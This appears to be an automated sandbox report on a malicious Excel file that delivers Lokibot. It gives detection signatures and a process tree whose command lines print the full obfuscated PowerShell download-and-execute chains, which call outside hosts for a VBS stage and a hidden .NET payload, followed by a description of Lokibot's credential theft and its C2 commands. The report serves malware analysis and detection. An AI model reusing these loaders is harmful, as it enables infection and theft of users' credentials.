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Windows
Analysis Report
Payment Advice.xls
Overview
General Information
Detection
Lokibot
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Lokibot
Yara detected Powershell download and execute
Bypasses PowerShell execution policy
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: PowerShell Base64 Encoded Invoke Keyword
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Searches the installation path of Mozilla Firefox
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w7x64
- EXCEL.EXE (PID: 3560 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - mshta.exe (PID: 3832 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - powershell.exe (PID: 3924 cmdline:
"C:\Window s\SySTeM32 \winDowspO WErShell\v 1.0\PoweRS hELl.EXe" "powErshel l -ex ByPa sS -N oP -w 1 -c DEViCeCRE dentialDEp LoyMEnt ; IeX($(iex( '[SystEM.T Ext.EncoDI NG]'+[ChAr ]0x3A+[cha r]58+'UTf8 .gETSTrIng ([SystEm.c OnVeRT]'+[ CHar]0x3A+ [ChaR]58+' FROMBasE64 STRIng('+[ cHar]0X22+ 'JFpibFZsd VJ0ICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgID0gICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgYUR kLVRZUGUgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL U1lTUJFckR lRklOaVRpT 04gICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgJ1tEbGx JbXBvcnQoI nVSbE1vTi5 kbGwiLCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBDa GFyU2V0ID0 gQ2hhclNld C5Vbmljb2R lKV1wdWJsa WMgc3RhdGl jIGV4dGVyb iBJbnRQdHI gVVJMRG93b mxvYWRUb0Z pbGUoSW50U HRyICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIExIayx zdHJpbmcgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgb 2FseXlhR21 BWCxzdHJpb mcgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgS0ksdWl udCAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBpUkpqd VRGeUZsTSx JbnRQdHIgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAge UIpOycgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLW5 hbWUgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIlhZI iAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAtbkFNRVN QYWNFICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIHFPa GJRUSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAtUGF zc1RocnU7I CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CRaYmxWbHV SdDo6VVJMR G93bmxvYWR Ub0ZpbGUoM CwiaHR0cDo vLzE5Mi4zL jE3Ni4xNDE vNDIvbG9na XN0aWN0aGl uZ3N3aXRoZ 29vZHRoaW5 nc2dpdmVuY mVzdC50SUY iLCIkRU5WO kFQUERBVEF cb2dpc3RpY 3RoaW5nc3d pdGhnb29kd GhpbmdzZ2l 2ZW5iZXMud mJTIiwwLDA pO3N0QVJ0L XNsZWVwKDM pO3N0QVJ0I CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CIkZW52OkF QUERBVEFcb 2dpc3RpY3R oaW5nc3dpd Ghnb29kdGh pbmdzZ2l2Z W5iZXMudmJ TIg=='+[Ch ar]0x22+') )')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 4036 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -ex ByPasS -NoP -w 1 -c DEViCe CREdential DEpLoyMEnt MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 3136 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\f2dj0n cr\f2dj0nc r.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3152 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES19C8.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\f2d j0ncr\CSC6 208178C473 A4F0793DCF E56B934F53 4.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 2036 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\ogist icthingswi thgoodthin gsgivenbes .vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 3000 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCdXaDdpbW FnZVVybCA9 IHJmSWh0dH BzOi8vZHJp dmUuZ28nKy dvZ2xlLmNv bS91Yz9leH BvcnQ9ZG93 bmxvYWQmaW Q9JysnMUFJ VmdKSkp2MU Y2dlM0c1VP eWJuSC1zRH ZVaEJZd3Vy IHJmSTtXaD d3ZWJDbGkn KydlbnQgPS BOZXctT2Jq ZWN0IFN5c3 RlbS5OZXQu V2ViQ2xpZW 50O1doN2lt YScrJ2dlQn l0ZXMgPSBX aCcrJzcnKy d3ZWJDbGll bnQuRG93bm xvYWREYXRh KFdoN2ltYW dlVXJsKTtX aDdpbScrJ2 FnZVRleHQg PSBbU3lzdG VtLlRleCcr J3QuRW4nKy djb2Rpbmdd OjpVVEY4Lk dldFN0Jysn cmluZyhXaC crJzdpbWFn ZUJ5dGVzKT tXaDdzdGFy JysndEZsYW cgPSByZkk8 PEJBU0U2NF 9TVEFSVD4+ cmZJO1doN2 VuZEZsYWcg PSByZkk8PE JBU0U2NCcr J19FTkQ+Pn JmSTtXaDdz dGFydEluZG V4ID0gV2g3 aW1hZ2VUZX h0LkluZGV4 T2YoV2g3c3 RhcnRGbGFn KTtXaDdlbm RJbicrJ2Rl eCA9IFdoN2 ltYScrJ2dl VGV4dC5Jbm RleE9mKFdo N2VuZEZsYS crJ2cpO1do N3N0YXJ0SW 5kZXggLWdl IDAgLWFuZC BXaDdlbmRJ bmRleCAtZ3 QgV2g3c3Rh cnRJbmQnKy dleDtXJysn aDdzdGFydE luZGV4ICs9 IFdoN3N0YX J0RmxhZy5M ZW5ndGg7V2 g3YmFzZTY0 TGVuZ3RoID 0gV2g3ZW5k SW5kZXggLS BXaDdzdGFy dEluZGV4O1 doN2Jhc2U2 NENvbW1hbm QgPSBXaDdp bWFnZVRleH QuU3Vic3Ry aW5nKFdoN3 N0YXJ0SW5k ZXgsIFdoN2 Jhc2U2NExl bmd0aCknKy c7V2g3YmEn KydzZTY0Ui crJ2V2ZXJz ZWQgPSAtam 9pbiAoV2g3 YmFzZTY0Q2 9tbWFuZC5U b0NoYXJBcn JheSgpIFJZ OSBGb3JFYW NoLU9iamVj dCB7IFdoNy crJ18gfSlb LTEuLi0oV2 g3YmFzZTY0 Q29tbWFuZC 5MZW5ndGgn KycpXTtXaD djJysnb21t YW5kQnl0ZX MgPSBbU3lz dCcrJ2VtLk NvbnZlcnRd OjpGcm9tQm FzZTY0U3Ry aW5nKFdoN2 JhJysnc2U2 NFJldmVyc2 VkKTtXaDds b2FkZWRBc3 NlbWJseSA9 IFtTeXN0ZW 0uUmVmbGVj dGlvbi5Bc3 NlbWJseV06 OkxvYWQoV2 g3Y29tbWFu JysnZEJ5dG VzJysnKTtX aDd2YWlNZX Rob2QgPSBb ZG5saWIuSU 8uSG9tZV0u R2V0TWV0aG 9kKHJmSVZB SXJmSSk7Jy snV2g3dmFp TWV0aG9kLk ludm9rZShX aDdudWwnKy dsLCBAKHJm SXR4dC5JS0 xHT0wvMjQv MTQxLjY3MS 4zLicrJzI5 MS8vOnB0dG hyZkknKycs IHJmSWRlc2 F0aXZhZG9y ZkksIHJmSW Rlc2F0aXZh ZG9yZkksIH JmSWRlc2F0 aXZhZG9yZk ksIHJmSWFz cG5ldF9yZW dicm93c2Vy c3JmSSwgcm ZJZGVzYXRp dmFkb3JmSS wgcmZJZGVz YXRpdmFkb3 JmSSxyZklk JysnZXNhdG l2YWRvJysn cmZJLHJmJy snSWRlc2F0 aXZhJysnZG 9yZkkscmZJ ZGVzYXRpdm Fkb3JmSSxy ZklkZXNhdG l2YWQnKydv cmZJLHJmSW Rlc2F0aXZh ZCcrJ29yZk kscmZJMXJm SSxyZklkZX NhdGl2YWRv cmZJKSk7Jy kuUkVQTEFj RSgoW0NIYX JdODcrW0NI YXJdMTA0K1 tDSGFyXTU1 KSwnJCcpLl JFUExBY0Uo J3JmSScsW3 N0cmluR11b Q0hhcl0zOS kuUkVQTEFj RSgoW0NIYX JdODIrW0NI YXJdODkrW0 NIYXJdNTcp LFtzdHJpbk ddW0NIYXJd MTI0KSB8Li AoICRWRXJC b1NFUHJlZk VyZU5DZS5U b3NUUmluZy gpWzEsM10r J1gnLWpvSW 4nJyk=';$O Wjuxd = [s ystem.Text .encoding] ::UTF8.Get String([sy stem.Conve rt]::Fromb ase64Strin g($codigo) );powershe ll.exe -wi ndowstyle hidden -ex ecutionpol icy bypass -NoProfil e -command $OWjuxD MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 1372 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "('Wh7 imageUrl = rfIhttps: //drive.go '+'ogle.co m/uc?expor t=download &id='+'1AI VgJJJv1F6v S4sUOybnH- sDvUhBYwur rfI;Wh7we bCli'+'ent = New-Obj ect System .Net.WebCl ient;Wh7im a'+'geByte s = Wh'+'7 '+'webClie nt.Downloa dData(Wh7i mageUrl);W h7im'+'age Text = [Sy stem.Tex'+ 't.En'+'co ding]::UTF 8.GetSt'+' ring(Wh'+' 7imageByte s);Wh7star '+'tFlag = rfI<<BASE 64_START>> rfI;Wh7end Flag = rfI <<BASE64'+ '_END>>rfI ;Wh7startI ndex = Wh7 imageText. IndexOf(Wh 7startFlag );Wh7endIn '+'dex = W h7ima'+'ge Text.Index Of(Wh7endF la'+'g);Wh 7startInde x -ge 0 -a nd Wh7endI ndex -gt W h7startInd '+'ex;W'+' h7startInd ex += Wh7s tartFlag.L ength;Wh7b ase64Lengt h = Wh7end Index - Wh 7startInde x;Wh7base6 4Command = Wh7imageT ext.Substr ing(Wh7sta rtIndex, W h7base64Le ngth)'+';W h7ba'+'se6 4R'+'evers ed = -join (Wh7base6 4Command.T oCharArray () RY9 For Each-Objec t { Wh7'+' _ })[-1..- (Wh7base64 Command.Le ngth'+')]; Wh7c'+'omm andBytes = [Syst'+'e m.Convert] ::FromBase 64String(W h7ba'+'se6 4Reversed) ;Wh7loaded Assembly = [System.R eflection. Assembly]: :Load(Wh7c omman'+'dB ytes'+');W h7vaiMetho d = [dnlib .IO.Home]. GetMethod( rfIVAIrfI) ;'+'Wh7vai Method.Inv oke(Wh7nul '+'l, @(rf Itxt.IKLGO L/24/141.6 71.3.'+'29 1//:ptthrf I'+', rfId esativador fI, rfIdes ativadorfI , rfIdesat ivadorfI, rfIaspnet_ regbrowser srfI, rfId esativador fI, rfIdes ativadorfI ,rfId'+'es ativado'+' rfI,rf'+'I desativa'+ 'dorfI,rfI desativado rfI,rfIdes ativad'+'o rfI,rfIdes ativad'+'o rfI,rfI1rf I,rfIdesat ivadorfI)) ;').REPLAc E(([CHar]8 7+[CHar]10 4+[CHar]55 ),'$').REP LAcE('rfI' ,[strinG][ CHar]39).R EPLAcE(([C Har]82+[CH ar]89+[CHa r]57),[str inG][CHar] 124) |. ( $VErBoSEPr efEreNCe.T osTRing()[ 1,3]+'X'-j oIn'')" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - aspnet_regbrowsers.exe (PID: 3248 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\asp net_regbro wsers.exe" MD5: 04AA198D72229AEED129DC20201BF030) - mshta.exe (PID: 3336 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - powershell.exe (PID: 2276 cmdline:
"C:\Window s\SySTeM32 \winDowspO WErShell\v 1.0\PoweRS hELl.EXe" "powErshel l -ex ByPa sS -N oP -w 1 -c DEViCeCRE dentialDEp LoyMEnt ; IeX($(iex( '[SystEM.T Ext.EncoDI NG]'+[ChAr ]0x3A+[cha r]58+'UTf8 .gETSTrIng ([SystEm.c OnVeRT]'+[ CHar]0x3A+ [ChaR]58+' FROMBasE64 STRIng('+[ cHar]0X22+ 'JFpibFZsd VJ0ICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgID0gICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgYUR kLVRZUGUgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL U1lTUJFckR lRklOaVRpT 04gICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgJ1tEbGx JbXBvcnQoI nVSbE1vTi5 kbGwiLCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBDa GFyU2V0ID0 gQ2hhclNld C5Vbmljb2R lKV1wdWJsa WMgc3RhdGl jIGV4dGVyb iBJbnRQdHI gVVJMRG93b mxvYWRUb0Z pbGUoSW50U HRyICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIExIayx zdHJpbmcgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgb 2FseXlhR21 BWCxzdHJpb mcgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgS0ksdWl udCAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBpUkpqd VRGeUZsTSx JbnRQdHIgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAge UIpOycgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLW5 hbWUgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIlhZI iAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAtbkFNRVN QYWNFICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIHFPa GJRUSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAtUGF zc1RocnU7I CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CRaYmxWbHV SdDo6VVJMR G93bmxvYWR Ub0ZpbGUoM CwiaHR0cDo vLzE5Mi4zL jE3Ni4xNDE vNDIvbG9na XN0aWN0aGl uZ3N3aXRoZ 29vZHRoaW5 nc2dpdmVuY mVzdC50SUY iLCIkRU5WO kFQUERBVEF cb2dpc3RpY 3RoaW5nc3d pdGhnb29kd GhpbmdzZ2l 2ZW5iZXMud mJTIiwwLDA pO3N0QVJ0L XNsZWVwKDM pO3N0QVJ0I CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CIkZW52OkF QUERBVEFcb 2dpc3RpY3R oaW5nc3dpd Ghnb29kdGh pbmdzZ2l2Z W5iZXMudmJ TIg=='+[Ch ar]0x22+') )')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3368 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -ex ByPasS -NoP -w 1 -c DEViCe CREdential DEpLoyMEnt MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 1520 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\al22ex sj\al22exs j.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 4004 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES6651.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\al2 2exsj\CSC9 03F5E3F8DB 7424CB84D1 5F933E11EB 7.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 3732 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\ogist icthingswi thgoodthin gsgivenbes .vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 4032 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCdXaDdpbW FnZVVybCA9 IHJmSWh0dH BzOi8vZHJp dmUuZ28nKy dvZ2xlLmNv bS91Yz9leH BvcnQ9ZG93 bmxvYWQmaW Q9JysnMUFJ VmdKSkp2MU Y2dlM0c1VP eWJuSC1zRH ZVaEJZd3Vy IHJmSTtXaD d3ZWJDbGkn KydlbnQgPS BOZXctT2Jq ZWN0IFN5c3 RlbS5OZXQu V2ViQ2xpZW 50O1doN2lt YScrJ2dlQn l0ZXMgPSBX aCcrJzcnKy d3ZWJDbGll bnQuRG93bm xvYWREYXRh KFdoN2ltYW dlVXJsKTtX aDdpbScrJ2 FnZVRleHQg PSBbU3lzdG VtLlRleCcr J3QuRW4nKy djb2Rpbmdd OjpVVEY4Lk dldFN0Jysn cmluZyhXaC crJzdpbWFn ZUJ5dGVzKT tXaDdzdGFy JysndEZsYW cgPSByZkk8 PEJBU0U2NF 9TVEFSVD4+ cmZJO1doN2 VuZEZsYWcg PSByZkk8PE JBU0U2NCcr J19FTkQ+Pn JmSTtXaDdz dGFydEluZG V4ID0gV2g3 aW1hZ2VUZX h0LkluZGV4 T2YoV2g3c3 RhcnRGbGFn KTtXaDdlbm RJbicrJ2Rl eCA9IFdoN2 ltYScrJ2dl VGV4dC5Jbm RleE9mKFdo N2VuZEZsYS crJ2cpO1do N3N0YXJ0SW 5kZXggLWdl IDAgLWFuZC BXaDdlbmRJ bmRleCAtZ3 QgV2g3c3Rh cnRJbmQnKy dleDtXJysn aDdzdGFydE luZGV4ICs9 IFdoN3N0YX J0RmxhZy5M ZW5ndGg7V2 g3YmFzZTY0 TGVuZ3RoID 0gV2g3ZW5k SW5kZXggLS BXaDdzdGFy dEluZGV4O1 doN2Jhc2U2 NENvbW1hbm QgPSBXaDdp bWFnZVRleH QuU3Vic3Ry aW5nKFdoN3 N0YXJ0SW5k ZXgsIFdoN2 Jhc2U2NExl bmd0aCknKy c7V2g3YmEn KydzZTY0Ui crJ2V2ZXJz ZWQgPSAtam 9pbiAoV2g3 YmFzZTY0Q2 9tbWFuZC5U b0NoYXJBcn JheSgpIFJZ OSBGb3JFYW NoLU9iamVj dCB7IFdoNy crJ18gfSlb LTEuLi0oV2 g3YmFzZTY0 Q29tbWFuZC 5MZW5ndGgn KycpXTtXaD djJysnb21t YW5kQnl0ZX MgPSBbU3lz dCcrJ2VtLk NvbnZlcnRd OjpGcm9tQm FzZTY0U3Ry aW5nKFdoN2 JhJysnc2U2 NFJldmVyc2 VkKTtXaDds b2FkZWRBc3 NlbWJseSA9 IFtTeXN0ZW 0uUmVmbGVj dGlvbi5Bc3 NlbWJseV06 OkxvYWQoV2 g3Y29tbWFu JysnZEJ5dG VzJysnKTtX aDd2YWlNZX Rob2QgPSBb ZG5saWIuSU 8uSG9tZV0u R2V0TWV0aG 9kKHJmSVZB SXJmSSk7Jy snV2g3dmFp TWV0aG9kLk ludm9rZShX aDdudWwnKy dsLCBAKHJm SXR4dC5JS0 xHT0wvMjQv MTQxLjY3MS 4zLicrJzI5 MS8vOnB0dG hyZkknKycs IHJmSWRlc2 F0aXZhZG9y ZkksIHJmSW Rlc2F0aXZh ZG9yZkksIH JmSWRlc2F0 aXZhZG9yZk ksIHJmSWFz cG5ldF9yZW dicm93c2Vy c3JmSSwgcm ZJZGVzYXRp dmFkb3JmSS wgcmZJZGVz YXRpdmFkb3 JmSSxyZklk JysnZXNhdG l2YWRvJysn cmZJLHJmJy snSWRlc2F0 aXZhJysnZG 9yZkkscmZJ ZGVzYXRpdm Fkb3JmSSxy ZklkZXNhdG l2YWQnKydv cmZJLHJmSW Rlc2F0aXZh ZCcrJ29yZk kscmZJMXJm SSxyZklkZX NhdGl2YWRv cmZJKSk7Jy kuUkVQTEFj RSgoW0NIYX JdODcrW0NI YXJdMTA0K1 tDSGFyXTU1 KSwnJCcpLl JFUExBY0Uo J3JmSScsW3 N0cmluR11b Q0hhcl0zOS kuUkVQTEFj RSgoW0NIYX JdODIrW0NI YXJdODkrW0 NIYXJdNTcp LFtzdHJpbk ddW0NIYXJd MTI0KSB8Li AoICRWRXJC b1NFUHJlZk VyZU5DZS5U b3NUUmluZy gpWzEsM10r J1gnLWpvSW 4nJyk=';$O Wjuxd = [s ystem.Text .encoding] ::UTF8.Get String([sy stem.Conve rt]::Fromb ase64Strin g($codigo) );powershe ll.exe -wi ndowstyle hidden -ex ecutionpol icy bypass -NoProfil e -command $OWjuxD MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 252 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "('Wh7 imageUrl = rfIhttps: //drive.go '+'ogle.co m/uc?expor t=download &id='+'1AI VgJJJv1F6v S4sUOybnH- sDvUhBYwur rfI;Wh7we bCli'+'ent = New-Obj ect System .Net.WebCl ient;Wh7im a'+'geByte s = Wh'+'7 '+'webClie nt.Downloa dData(Wh7i mageUrl);W h7im'+'age Text = [Sy stem.Tex'+ 't.En'+'co ding]::UTF 8.GetSt'+' ring(Wh'+' 7imageByte s);Wh7star '+'tFlag = rfI<<BASE 64_START>> rfI;Wh7end Flag = rfI <<BASE64'+ '_END>>rfI ;Wh7startI ndex = Wh7 imageText. IndexOf(Wh 7startFlag );Wh7endIn '+'dex = W h7ima'+'ge Text.Index Of(Wh7endF la'+'g);Wh 7startInde x -ge 0 -a nd Wh7endI ndex -gt W h7startInd '+'ex;W'+' h7startInd ex += Wh7s tartFlag.L ength;Wh7b ase64Lengt h = Wh7end Index - Wh 7startInde x;Wh7base6 4Command = Wh7imageT ext.Substr ing(Wh7sta rtIndex, W h7base64Le ngth)'+';W h7ba'+'se6 4R'+'evers ed = -join (Wh7base6 4Command.T oCharArray () RY9 For Each-Objec t { Wh7'+' _ })[-1..- (Wh7base64 Command.Le ngth'+')]; Wh7c'+'omm andBytes = [Syst'+'e m.Convert] ::FromBase 64String(W h7ba'+'se6 4Reversed) ;Wh7loaded Assembly = [System.R eflection. Assembly]: :Load(Wh7c omman'+'dB ytes'+');W h7vaiMetho d = [dnlib .IO.Home]. GetMethod( rfIVAIrfI) ;'+'Wh7vai Method.Inv oke(Wh7nul '+'l, @(rf Itxt.IKLGO L/24/141.6 71.3.'+'29 1//:ptthrf I'+', rfId esativador fI, rfIdes ativadorfI , rfIdesat ivadorfI, rfIaspnet_ regbrowser srfI, rfId esativador fI, rfIdes ativadorfI ,rfId'+'es ativado'+' rfI,rf'+'I desativa'+ 'dorfI,rfI desativado rfI,rfIdes ativad'+'o rfI,rfIdes ativad'+'o rfI,rfI1rf I,rfIdesat ivadorfI)) ;').REPLAc E(([CHar]8 7+[CHar]10 4+[CHar]55 ),'$').REP LAcE('rfI' ,[strinG][ CHar]39).R EPLAcE(([C Har]82+[CH ar]89+[CHa r]57),[str inG][CHar] 124) |. ( $VErBoSEPr efEreNCe.T osTRing()[ 1,3]+'X'-j oIn'')" MD5: A575A7610E5F003CC36DF39E07C4BA7D)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
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Loki Password Stealer (PWS), LokiBot | "Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2 |
